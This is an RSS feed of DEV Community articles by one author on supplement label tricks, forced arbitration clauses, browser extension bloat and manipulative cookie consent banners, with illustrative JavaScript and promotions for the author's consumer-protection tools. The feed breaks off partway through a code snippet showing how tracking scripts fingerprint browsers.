<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: carlos lopez</title>
    <description>The latest articles on DEV Community by carlos lopez (@carlos_lopez_e0907403c1b4).</description>
    <link>https://dev.to/carlos_lopez_e0907403c1b4</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3989274%2Fbfee9a09-766d-4f0e-84af-f3619943a266.png</url>
      <title>DEV Community: carlos lopez</title>
      <link>https://dev.to/carlos_lopez_e0907403c1b4</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/carlos_lopez_e0907403c1b4"/>
    <language>en</language>
    <item>
      <title>Code Red in Your Protein Shaker: The Hidden Ingredients Science Found in Popular Supplements</title>
      <dc:creator>carlos lopez</dc:creator>
      <pubDate>Fri, 03 Jul 2026 11:25:54 +0000</pubDate>
      <link>https://dev.to/carlos_lopez_e0907403c1b4/code-red-in-your-protein-shaker-the-hidden-ingredients-science-found-in-popular-supplements-2mpp</link>
      <guid>https://dev.to/carlos_lopez_e0907403c1b4/code-red-in-your-protein-shaker-the-hidden-ingredients-science-found-in-popular-supplements-2mpp</guid>
      <description>&lt;p&gt;The supplement industry operates under a regulatory framework that most consumers don't understand until something goes wrong. Unlike pharmaceutical drugs, dietary supplements in the US don't require FDA approval before going to market. There's no mandatory clinical testing, no pre-market safety review, and no requirement that the label accurately reflects what's in the bottle. The manufacturer is responsible for safety — and the FDA only intervenes after a problem has already reached consumers.&lt;/p&gt;

&lt;p&gt;That gap between assumption and reality has produced a market worth over $50 billion annually in the US, where the label is frequently the least accurate thing about the product.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fairy dusting and proprietary blends
&lt;/h2&gt;

&lt;p&gt;The first trick is structural. A manufacturer lists ten ingredients under a name like "Advanced Performance Matrix" and declares a single total weight for the blend — say, 4,500mg. What the label doesn't tell you is how much of each ingredient that total contains. Legally, it doesn't have to.&lt;/p&gt;

&lt;p&gt;This is fairy dusting. A manufacturer includes a clinically effective ingredient — creatine, beta-alanine, citrulline — at a dose far below what the research shows is necessary to produce any effect, then fills the rest of the blend weight with cheap filler. The ingredient appears on the label, which satisfies the marketing team. The dose doesn't appear, which satisfies the accountants.&lt;/p&gt;

&lt;p&gt;Beta-alanine has demonstrated effects on muscular endurance at doses of 3.2 to 6.4 grams per day. A proprietary blend product listing beta-alanine in a 2,000mg "performance complex" alongside six other ingredients almost certainly contains nowhere near that dose. But the label says beta-alanine is in there, and that's enough for the product page to claim it "supports endurance performance."&lt;/p&gt;

&lt;h2&gt;
  
  
  The heavy metal problem
&lt;/h2&gt;

&lt;p&gt;A Consumer Reports investigation — reported extensively including by &lt;a href="https://www.aarp.org/health/drugs-supplements/protein-powder-lead-contamination/" rel="noopener noreferrer"&gt;AARP&lt;/a&gt; — tested 15 of the best-selling protein powders and found that more than two-thirds contained levels of lead, cadmium, arsenic, or mercury that exceeded safe daily limits when consumed as directed. Plant-based proteins were particularly affected, with several products exceeding the maximum daily lead intake established by USP guidelines in a single serving.&lt;/p&gt;

&lt;p&gt;This isn't a fringe finding. Heavy metal contamination in protein powders is a documented, recurring problem driven by agricultural soil contamination in the source crops and inadequate manufacturing quality controls. The brands affected were not obscure — they were products with millions of reviews and prominent influencer endorsements.&lt;/p&gt;

&lt;p&gt;The FDA's current threshold for action on heavy metals in supplements is higher than the limits that independent testing organizations consider safe. This means a product can contain lead levels that a toxicologist would flag as concerning while remaining fully compliant with FDA regulations.&lt;/p&gt;

&lt;h2&gt;
  
  
  Undisclosed banned substances
&lt;/h2&gt;

&lt;p&gt;The most serious problem — particularly for competitive athletes — is what the label doesn't mention at all. A &lt;a href="https://www.frontiersin.org/journals/sports-and-active-living/articles/10.3389/fspor.2026.1740663/full" rel="noopener noreferrer"&gt;metaanalysis published in Frontiers in Sports and Active Living&lt;/a&gt; examined multiple studies on supplement contamination and found that between 9% and 15% of commercial supplements contain pharmacological substances not declared on the label.&lt;/p&gt;

&lt;p&gt;These include anabolic steroids, selective androgen receptor modulators (SARMs), stimulants on the WADA prohibited list, and synthetic hormones. The contamination can be intentional — added by a manufacturer to make a product "work" — or the result of cross-contamination in a facility that also produces pharmaceutical compounds. The athlete taking the product has no way to know which.&lt;/p&gt;

&lt;p&gt;The consequences of a positive doping test are the same regardless of whether the athlete knew the substance was present. This is not a theoretical risk. WADA and USADA receive a steady stream of cases each year where the athlete's own supplement testing confirms the presence of a prohibited substance they never intentionally consumed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// What the label says:
"Proprietary Blend 4,500mg:
Beta-Alanine, Creatine Monohydrate, L-Citrulline,
L-Arginine, Taurine, BCAAs, Caffeine Anhydrous"

// What the label doesn't say:
- Individual doses of each ingredient
- Whether doses are clinically effective
- Whether the manufacturing facility handles
  controlled substances
- Heavy metal content per serving
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  How to read a label like a scientist
&lt;/h2&gt;

&lt;p&gt;Three things to look for before buying any supplement:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Proprietary blends with no individual doses.&lt;/strong&gt; If the label groups multiple ingredients under a single total weight, you have no way to know whether any of them are present in effective amounts. This is not a transparency choice — it's a deliberate obscuration.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Unstandardized plant extracts.&lt;/strong&gt; Ashwagandha, turmeric, rhodiola — these are all ingredients with legitimate evidence behind them, but only when the active compound is present at a tested concentration. "Ashwagandha Extract 300mg" is meaningless without knowing the withanolide percentage. If the label doesn't specify, assume the extract is as close to inert as it can legally be while still appearing on the ingredient list.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Third-party testing certification.&lt;/strong&gt; NSF Certified for Sport, Informed Sport, and USP Verified are the three certifications that involve actual testing of finished products, including testing for WADA-prohibited substances and heavy metals. Products with these marks have been independently verified. Products without them have not.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://www.fda.gov/inspections-compliance-enforcement-and-criminal-investigations/warning-letters/meta-labs-pharmaceuticals-llc-725130-05152026" rel="noopener noreferrer"&gt;FDA's warning letters to supplement manufacturers&lt;/a&gt; provide a useful window into what goes wrong in production — facilities that can't verify the identity, purity, or composition of what they're manufacturing, products distributed without adequate quality controls, and labels that make no attempt to reflect actual contents. These letters are public record. The products they describe were on sale in mainstream retail.&lt;/p&gt;

&lt;h2&gt;
  
  
  The auditing approach
&lt;/h2&gt;

&lt;p&gt;Reading ingredient lists doesn't require a biochemistry degree, but it does require knowing what to compare against. Every ingredient has a studied dose range — the amount used in clinical trials that produced a measurable effect. If a product contains that ingredient below that dose, you're paying for a label claim, not a physiological effect.&lt;/p&gt;

&lt;p&gt;The research on this is public and increasingly accessible. PubMed contains the clinical trial data. Independent databases aggregate it. The comparison — ingredient as listed versus dose shown to work in humans — is mechanical once you have both pieces of information in front of you.&lt;/p&gt;

&lt;p&gt;That comparison is what an evidence-based ingredient audit does: takes the label, checks each ingredient against the clinical literature, and returns a verdict based on the dose and the evidence quality, not the marketing copy on the front of the container.&lt;/p&gt;




&lt;h2&gt;
  
  
  Supplement Ingredients Auditor
&lt;/h2&gt;

&lt;p&gt;Paste any supplement label and get an evidence-based breakdown of every ingredient — green, yellow or red. No marketing, no sponsorships. Just what the clinical literature says about the dose in front of you.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.getkibbo.com/supplement-analyzer" rel="noopener noreferrer"&gt;Audit your supplement free →&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>healthydebate</category>
      <category>javascript</category>
      <category>security</category>
    </item>
    <item>
      <title>The Fine Print That Signs Away Your Rights: Forced Arbitration and the Click You Don't Remember</title>
      <dc:creator>carlos lopez</dc:creator>
      <pubDate>Tue, 30 Jun 2026 11:21:59 +0000</pubDate>
      <link>https://dev.to/carlos_lopez_e0907403c1b4/the-fine-print-that-signs-away-your-rights-forced-arbitration-and-the-click-you-dont-remember-4196</link>
      <guid>https://dev.to/carlos_lopez_e0907403c1b4/the-fine-print-that-signs-away-your-rights-forced-arbitration-and-the-click-you-dont-remember-4196</guid>
      <description>&lt;p&gt;In 2024, a man named Jeffrey Piccolo sued a restaurant inside a Disney theme park after his wife died from an allergic reaction the restaurant staff had been explicitly warned about. Disney's lawyers moved to dismiss the case before it reached a jury — not on the facts of the allergy, but on a clause buried in the terms of service Piccolo had accepted years earlier, for an entirely different product: a free trial of Disney+.&lt;br&gt;
The argument was that by clicking "I agree" on a streaming trial, Piccolo had consented to resolve all future disputes with any Disney entity through private, binding arbitration — forfeiting his right to a jury trial for anything, including a wrongful death claim at a restaurant he hadn't even visited yet when he signed up.&lt;br&gt;
Public backlash forced Disney to withdraw the motion. But the case demonstrated something that should concern anyone who has ever clicked "accept" without reading what came after it: the clause itself was not unusual, and the legal argument was not frivolous. It worked exactly as the contract was written to work. The National Consumer Law Center's response to the case called explicitly for federal legislation, on the basis that the current legal framework allows exactly this kind of cross-application of arbitration clauses across unrelated products from the same corporate parent.&lt;br&gt;
Why your brain skips the part that matters&lt;br&gt;
If forced arbitration sounds like something only a lawyer needs to worry about, consider an experiment run by a security firm in London. They set up a free public Wi-Fi hotspot in a café and buried a clause in the terms of service that read, roughly: in exchange for free internet access, the user agrees to assign their firstborn child to the company in perpetuity.&lt;br&gt;
Within minutes, hundreds of people had clicked "I agree." Nobody read it. The clause was deliberately absurd — a "Herod clause," named for the obvious reason — precisely to demonstrate that acceptance rates for terms of service are functionally unrelated to comprehension. People click because clicking is the only way to get what they actually wanted, which was internet access, not a legal education.&lt;br&gt;
Academic research cited by The Guardian puts a number on the scale of the problem: if an average internet user actually read every privacy policy and terms of service agreement they encountered in a year, it would take roughly 250 hours — the equivalent of six full working weeks, spent exclusively reading legal text, just to use the internet the way it's normally used.&lt;br&gt;
Nobody does this. Companies know nobody does this. The length and density of the document is not an accident of legal caution — it is, functionally, a filter that ensures almost no one reaches the clauses that matter most.&lt;br&gt;
The renewal trap hiding in paragraph fourteen&lt;br&gt;
Forced arbitration is the dramatic example, but the more common harm is duller and hits more people: subscription terms that bury an early cancellation penalty deep enough that almost nobody finds it until they try to leave.&lt;br&gt;
The pattern is consistent across software subscriptions and streaming services: a promotional sign-up flow takes thirty seconds, with the discounted price prominent and the commitment terms minimised. Somewhere past the point most users stop reading, a clause specifies that cancelling before a fixed commitment period — often twelve months — triggers an early termination fee, sometimes calculated as a percentage of the remaining contract value.&lt;br&gt;
The Consumer Financial Protection Bureau has issued formal warnings about exactly this category of practice in financial contracts — fine print that creates obligations a reasonable consumer would not expect from the marketing they actually saw. The FTC's response to the broader pattern was the Click-to-Cancel rule, requiring that cancelling a subscription be no harder than signing up for one. Companies have continued appealing the rule in court, which tells you which side of that argument is currently winning on implementation speed.&lt;br&gt;
What a contract actually looks like to a parser&lt;br&gt;
The reason nobody reads these documents isn't laziness — it's that legal text is deliberately written in a register optimised for precision and liability coverage, not readability. A clause like this is unremarkable to a lawyer and nearly opaque to everyone else:&lt;br&gt;
"Any dispute, claim, or controversy arising out of or relating to this &lt;br&gt;
Agreement or the breach, termination, enforcement, interpretation, or &lt;br&gt;
validity thereof, including the determination of the scope or &lt;br&gt;
applicability of this agreement to arbitrate, shall be determined by &lt;br&gt;
arbitration in [STATE], before a single arbitrator. The arbitration &lt;br&gt;
shall be administered by JAMS pursuant to its Comprehensive Arbitration &lt;br&gt;
Rules and Procedures... User waives any right to a jury trial and any &lt;br&gt;
right to participate in a class action..."&lt;br&gt;
Identifying that clause programmatically isn't difficult once you know what to look for — the pattern is structurally consistent across most arbitration clauses, even when the wording varies:&lt;br&gt;
javascriptconst HIGH_RISK_PATTERNS = {&lt;br&gt;
  forcedArbitration: {&lt;br&gt;
    keywords: [/binding arbitration/i, /waive.{0,20}jury trial/i, &lt;br&gt;
               /class action waiver/i, /JAMS|AAA arbitration/i],&lt;br&gt;
    severity: 'critical',&lt;br&gt;
    explain: 'You are giving up your right to sue in court or join a class action.'&lt;br&gt;
  },&lt;br&gt;
  autoRenewal: {&lt;br&gt;
    keywords: [/automatically renew/i, /early termination fee/i, &lt;br&gt;
               /cancel.{0,30}before.{0,10}(month|year)/i],&lt;br&gt;
    severity: 'high',&lt;br&gt;
    explain: 'Cancelling early may trigger a fee — check the exact terms.'&lt;br&gt;
  },&lt;br&gt;
  crossProductScope: {&lt;br&gt;
    keywords: [/any (affiliate|subsidiary|related)/i, &lt;br&gt;
               /all (services|products).{0,20}(we|company) offer/i],&lt;br&gt;
    severity: 'high',&lt;br&gt;
    explain: 'This clause may apply to unrelated products from the same company.'&lt;br&gt;
  },&lt;br&gt;
  dataSharing: {&lt;br&gt;
    keywords: [/share.{0,20}with.{0,20}third part/i, &lt;br&gt;
               /sell.{0,20}(personal )?information/i],&lt;br&gt;
    severity: 'medium',&lt;br&gt;
    explain: 'Your data may be shared with or sold to other companies.'&lt;br&gt;
  }&lt;br&gt;
};&lt;/p&gt;

&lt;p&gt;function scanContract(text) {&lt;br&gt;
  const findings = [];&lt;br&gt;
  for (const [category, rule] of Object.entries(HIGH_RISK_PATTERNS)) {&lt;br&gt;
    const matched = rule.keywords.some(pattern =&amp;gt; pattern.test(text));&lt;br&gt;
    if (matched) {&lt;br&gt;
      findings.push({ category, severity: rule.severity, explain: rule.explain });&lt;br&gt;
    }&lt;br&gt;
  }&lt;br&gt;
  return findings;&lt;br&gt;
}&lt;br&gt;
Pattern matching catches the structural red flags fast and cheaply. The harder part — and where a language model adds real value over a simple keyword scanner — is explaining what a specific clause means in your situation, in plain English, without the fifteen years of contract law context a lawyer would normally supply.&lt;br&gt;
Why this is a permanent feature, not a bug to be fixed&lt;br&gt;
It's tempting to read all of this as a problem waiting for a legislative fix. The Click-to-Cancel rule is moving in that direction. The FAIR Act, which the National Consumer Law Center is pushing for in response to the Disney case, would restrict forced arbitration in a meaningful way if passed.&lt;br&gt;
But the underlying economics don't change even with better regulation. You cannot opt out of clicking "I agree" to use a bank account, a rideshare app, a streaming service, or most software you need for work. The contract is a precondition of access, not a negotiation. No legislation currently proposed removes the requirement to accept terms — it only changes what terms are allowed to say.&lt;br&gt;
Which means the actual gap a consumer faces is unchanged: a document too long to read, written in language designed to be precise rather than clear, presented at the exact moment you're focused on getting access to something else. Closing that gap doesn't require a new law. It requires something that reads the document in the second it takes you to reach for the "I agree" button, and tells you — in plain language — what you're actually signing.&lt;/p&gt;

&lt;p&gt;AI Legal &amp;amp; Contract Analyzer&lt;br&gt;
Scans any terms of service or privacy policy the moment you encounter it. Flags forced arbitration clauses, hidden auto-renewal penalties, and data-sharing terms in plain English — before you click accept.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>legaltech</category>
      <category>security</category>
    </item>
    <item>
      <title>The Extension Bloat Problem: Why Your 7 Security Tools Are Hurting Your Browser</title>
      <dc:creator>carlos lopez</dc:creator>
      <pubDate>Tue, 30 Jun 2026 11:19:55 +0000</pubDate>
      <link>https://dev.to/carlos_lopez_e0907403c1b4/the-extension-bloat-problem-why-your-7-security-tools-are-hurting-your-browser-3dpf</link>
      <guid>https://dev.to/carlos_lopez_e0907403c1b4/the-extension-bloat-problem-why-your-7-security-tools-are-hurting-your-browser-3dpf</guid>
      <description>&lt;p&gt;If you're the kind of person who cares about being tracked, scammed, or overcharged online, your browser toolbar probably tells the story. A cookie blocker. A price tracker. A contract analyzer. An ad blocker. A phishing detector. Maybe a link cleaner. Each one installed for a good reason, at a different time, solving a different problem.&lt;br&gt;
What nobody tells you when you install the seventh one is that you've quietly built something closer to a liability than a defense system.&lt;br&gt;
What actually happens when you install seven extensions&lt;br&gt;
Every Chrome extension that requests broad permissions runs its own background script. That script doesn't sleep just because you're not actively using the extension's popup — it stays resident, listening for events, injecting content scripts into every page you load, and competing with every other extension for the same finite memory and CPU cycles.&lt;br&gt;
Seven extensions means seven separate background processes, seven sets of content scripts injected into the DOM of every page you visit, and seven different points where something can go wrong. Chrome's own developer documentation on extension performance is explicit about this: redundant script injection and uncoordinated background processes are a documented cause of measurable page load degradation and memory pressure, especially on tab-heavy sessions.&lt;br&gt;
You notice the symptom — the browser feels sluggish, tabs take longer to load, fans spin up on a laptop that shouldn't be working this hard. What you don't see is the second, less visible cost.&lt;br&gt;
The permission problem nobody reads&lt;br&gt;
Every security extension needs broad access to function. A price tracker needs to read every product page. A contract analyzer needs to read every page with legal text. A phishing detector needs to inspect every URL you visit. That's not optional — it's the job.&lt;br&gt;
The problem is that "needs broad access to function" and "is trustworthy with that access forever" are two completely different claims, and most users only verify the first one at install time.&lt;br&gt;
The Electronic Frontier Foundation has documented a recurring pattern: legitimate browser extensions, built by a single developer or small team, accumulate a user base, and are then acquired — sometimes by data brokers — specifically for the install base and the permissions already granted. The extension keeps working exactly as before. Nothing in the UI changes. But the new owner now has read access to every page you visit, and an update pushed silently through the Chrome Web Store is the only thing standing between "useful tool" and "data collection pipeline."&lt;br&gt;
CISA's advisory on malicious browser extensions covers the same mechanism from the security side: compromised or maliciously updated extensions are a documented supply chain attack vector, precisely because users grant broad permissions once and never revisit that decision.&lt;br&gt;
Seven extensions means seven separate trust decisions, seven separate companies or developers who could be acquired, seven separate codebases that could be silently updated tomorrow. Your attack surface scales linearly with your toolbar.&lt;br&gt;
What a single optimised engine actually looks like&lt;br&gt;
The architectural fix isn't "use fewer security tools" — that defeats the purpose. It's consolidating the same protective functions into a single background script that handles all of them through one coordinated runtime instead of seven uncoordinated ones.&lt;br&gt;
javascript// Fragmented approach — 7 separate background scripts,&lt;br&gt;
// each with its own listener, each injecting its own content script&lt;/p&gt;

&lt;p&gt;// extension-1/background.js&lt;br&gt;
chrome.webRequest.onBeforeRequest.addListener(checkPriceManipulation, ...);&lt;/p&gt;

&lt;p&gt;// extension-2/background.js&lt;br&gt;&lt;br&gt;
chrome.webRequest.onBeforeRequest.addListener(checkCookieBanner, ...);&lt;/p&gt;

&lt;p&gt;// extension-3/background.js&lt;br&gt;
chrome.webRequest.onBeforeRequest.addListener(checkPhishingDomain, ...);&lt;/p&gt;

&lt;p&gt;// ...four more of these, each maintaining separate state,&lt;br&gt;
// each registering separate listeners on the same events&lt;br&gt;
Versus a consolidated architecture:&lt;br&gt;
javascript// Unified engine — one background script, one set of listeners,&lt;br&gt;
// modular detection functions sharing the same request lifecycle&lt;/p&gt;

&lt;p&gt;const DEFENSE_MODULES = [&lt;br&gt;
  checkPriceManipulation,&lt;br&gt;
  checkCookieBanner,&lt;br&gt;
  checkPhishingDomain,&lt;br&gt;
  checkFormjacking,&lt;br&gt;
  checkContractClauses,&lt;br&gt;
  checkTrackerScripts,&lt;br&gt;
  checkLinkParameters&lt;br&gt;
];&lt;/p&gt;

&lt;p&gt;chrome.webRequest.onBeforeRequest.addListener((details) =&amp;gt; {&lt;br&gt;
  // Single pass through the request, all modules evaluate once&lt;br&gt;
  return DEFENSE_MODULES.reduce((result, module) =&amp;gt; &lt;br&gt;
    module(details, result), { allow: true }&lt;br&gt;
  );&lt;br&gt;
}, { urls: [""] });&lt;/p&gt;

&lt;p&gt;chrome.runtime.onMessage.addListener((msg, sender, respond) =&amp;gt; {&lt;br&gt;
  // Single content script per page, dispatches to the relevant module&lt;br&gt;
  const handler = DEFENSE_MODULES.find(m =&amp;gt; m.handles(msg.type));&lt;br&gt;
  if (handler) respond(handler.process(msg));&lt;br&gt;
});&lt;br&gt;
The functional coverage is identical — every check that ran in seven separate extensions still runs. What changes is that the request lifecycle is shared instead of duplicated seven times, the content script injected into each page is one script instead of seven, and the permission surface is one extension's worth instead of seven separate trust relationships with seven separate maintainers.&lt;br&gt;
Why open source matters more here than anywhere else&lt;br&gt;
Consolidating eight protective functions into one extension means that single extension now has very broad access — it sees your shopping, your contracts, your browsing history pattern, the cookie banners you interact with. That's a legitimate concern, and the standard answer from commercial security suites is "trust us, we're a real company."&lt;br&gt;
The alternative answer is publishing the source. When the detection logic for price manipulation, cookie banner asymmetry, formjacking scripts, and contract red flags is auditable by anyone, the trust model shifts from "trust the company" to "verify the code." A developer can read exactly what data is read, where it's processed, and confirm nothing leaves the browser that shouldn't. That's a structurally different guarantee than a privacy policy, which is a promise rather than a verifiable fact.&lt;br&gt;
The actual tradeoff&lt;br&gt;
Running one consolidated extension instead of seven separate ones isn't a downgrade in protection — every detection module still runs on every page. What it removes is the duplicated background processes competing for the same resources, the seven separate permission grants to seven separate parties, and the seven separate points of failure if any one of those extensions gets acquired, abandoned, or compromised.&lt;br&gt;
The browser was never designed to run dozens of independent always-on background scripts gracefully. Treating consumer protection as eight coordinated functions inside one auditable engine, rather than eight competing extensions, is closer to how the architecture is supposed to work.&lt;/p&gt;

&lt;p&gt;Web Guardian — Full Suite&lt;br&gt;
Eight consumer protection modules running through a single optimised, open-source engine: price history, checkout security, contract analysis, cookie consent equalization, ad and tracker blocking, and phishing protection — one extension, one permission grant.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>chrome</category>
      <category>javascript</category>
    </item>
    <item>
      <title>The Illusion of Consent: How E-Commerce Cookie Walls Bypass Privacy Laws (And What Actually Fixes It)</title>
      <dc:creator>carlos lopez</dc:creator>
      <pubDate>Sat, 27 Jun 2026 17:32:15 +0000</pubDate>
      <link>https://dev.to/carlos_lopez_e0907403c1b4/the-illusion-of-consent-how-e-commerce-cookie-walls-bypass-privacy-laws-and-what-actually-fixes-p8f</link>
      <guid>https://dev.to/carlos_lopez_e0907403c1b4/the-illusion-of-consent-how-e-commerce-cookie-walls-bypass-privacy-laws-and-what-actually-fixes-p8f</guid>
      <description>&lt;p&gt;Every time you land on a website, a banner appears. Sometimes it's a thin strip at the bottom. Sometimes it's a full-screen overlay that greys out everything behind it. It asks for your consent to use cookies. You click whatever gets it out of the way fastest, and you move on.&lt;/p&gt;

&lt;p&gt;That click is worth money. Significant money. And the design of that banner — which button is prominent, which is buried, how many taps it takes to actually say no — is not accidental. It's engineered.&lt;/p&gt;

&lt;p&gt;This is the part the privacy policy doesn't mention: most cookie consent interfaces are built to produce a specific outcome, and that outcome is your acceptance. The law says consent must be freely given, specific, informed, and unambiguous. What most sites deliver is a UI pattern specifically designed to make the alternative feel more difficult than it actually is.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the law actually requires
&lt;/h2&gt;

&lt;p&gt;The GDPR, in force across the EU since 2018, is explicit on this point. Recital 42 states that consent should not be considered freely given if the data subject has no genuine or free choice. The &lt;a href="https://edpb.europa.eu/our-work-tools/our-documents/report/report-work-cookie-banner-task-force_en" rel="noopener noreferrer"&gt;European Data Protection Board's Cookie Banner Task Force report&lt;/a&gt; goes further, identifying specific design patterns that violate the regulation even when a "reject" option technically exists.&lt;/p&gt;

&lt;p&gt;The core principle is symmetry: rejecting tracking must be as easy as accepting it. A single "Accept All" button on the first layer of a banner, paired with a "Manage Preferences" link that opens a submenu with seventeen toggles to switch off individually, does not meet that standard. Neither does a grey "Reject" button next to a bright green "Accept All" — the asymmetry in visual weight is itself a manipulation.&lt;/p&gt;

&lt;p&gt;In the US, the California Consumer Privacy Act and its 2023 amendment under CPRA establish similar principles for California residents. Virginia's VCDPA followed. The &lt;a href="https://www.ftc.gov/reports/bringing-dark-patterns-light" rel="noopener noreferrer"&gt;FTC's report on dark patterns&lt;/a&gt; explicitly names cookie consent interfaces as an area of concern, noting that design choices that make opting out more difficult than opting in undermine the validity of any consent obtained.&lt;/p&gt;

&lt;p&gt;The gap between what regulators require and what most sites actually implement is not a grey area. It's a well-documented, deliberately maintained discrepancy.&lt;/p&gt;

&lt;h2&gt;
  
  
  The anatomy of a manipulative banner
&lt;/h2&gt;

&lt;p&gt;Cookie fatigue is a documented phenomenon. Users encounter these banners hundreds of times and, after a while, click whatever removes them fastest. Banner designers know this. The asymmetric design is a direct exploitation of that fatigue.&lt;/p&gt;

&lt;p&gt;Here's what a manipulative consent implementation looks like at the code level:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Typical asymmetric consent banner implementation&lt;/span&gt;
&lt;span class="c1"&gt;// "Accept" requires one click. "Reject" requires navigating a submenu.&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;renderConsentBanner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;banner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;div&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;banner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`
    &amp;lt;div class="consent-overlay"&amp;gt;
      &amp;lt;p&amp;gt;We use cookies to improve your experience.&amp;lt;/p&amp;gt;

      &amp;lt;!-- Primary CTA: prominent, coloured, first in DOM --&amp;gt;
      &amp;lt;button class="btn-primary" onclick="acceptAll()"&amp;gt;
        Accept All
      &amp;lt;/button&amp;gt;

      &amp;lt;!-- Secondary CTA: grey, small, hidden below the fold on mobile --&amp;gt;
      &amp;lt;a class="btn-text-link" href="/cookie-settings"&amp;gt;
        Manage preferences
      &amp;lt;/a&amp;gt;

      &amp;lt;!-- "Reject All" doesn't exist on this layer at all --&amp;gt;
    &amp;lt;/div&amp;gt;
  `&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;prepend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;banner&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The "Reject All" option, if it exists at all, is typically three clicks deep — behind "Manage Preferences," then a settings panel, then a "Confirm my choices" button that requires all toggles to be manually switched off first. &lt;a href="https://arxiv.org/abs/2001.02479" rel="noopener noreferrer"&gt;Princeton and Cornell research on consent banner effectiveness&lt;/a&gt; found that even when users explicitly intended to reject tracking, the majority ended up accepting it due to interface friction. The design wasn't confusing by accident. It was confusing by design.&lt;/p&gt;

&lt;h2&gt;
  
  
  What actually happens when you click "Accept"
&lt;/h2&gt;

&lt;p&gt;The moment you accept, a sequence of events starts that most users never see. Third-party scripts that were blocked pending consent are now permitted to execute. What follows is not simply "improving your experience" — it's a data collection and distribution pipeline that operates in milliseconds.&lt;/p&gt;

&lt;p&gt;Your IP address, browser fingerprint, screen resolution, operating system, and the full URL you were on when you accepted are packaged into a bid request. This request is transmitted to a Real-Time Bidding (RTB) exchange — an automated auction platform where advertisers compete to serve you an ad based on your profile. The entire process, from your click to the winning advertiser receiving your data, takes roughly 100 milliseconds.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// What a third-party script does the moment consent fires&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;consentGranted&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="c1"&gt;// Fingerprinting — builds a unique identifier without cookies&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fingerprint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;screen&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;screen&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;x&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;screen&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;height&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
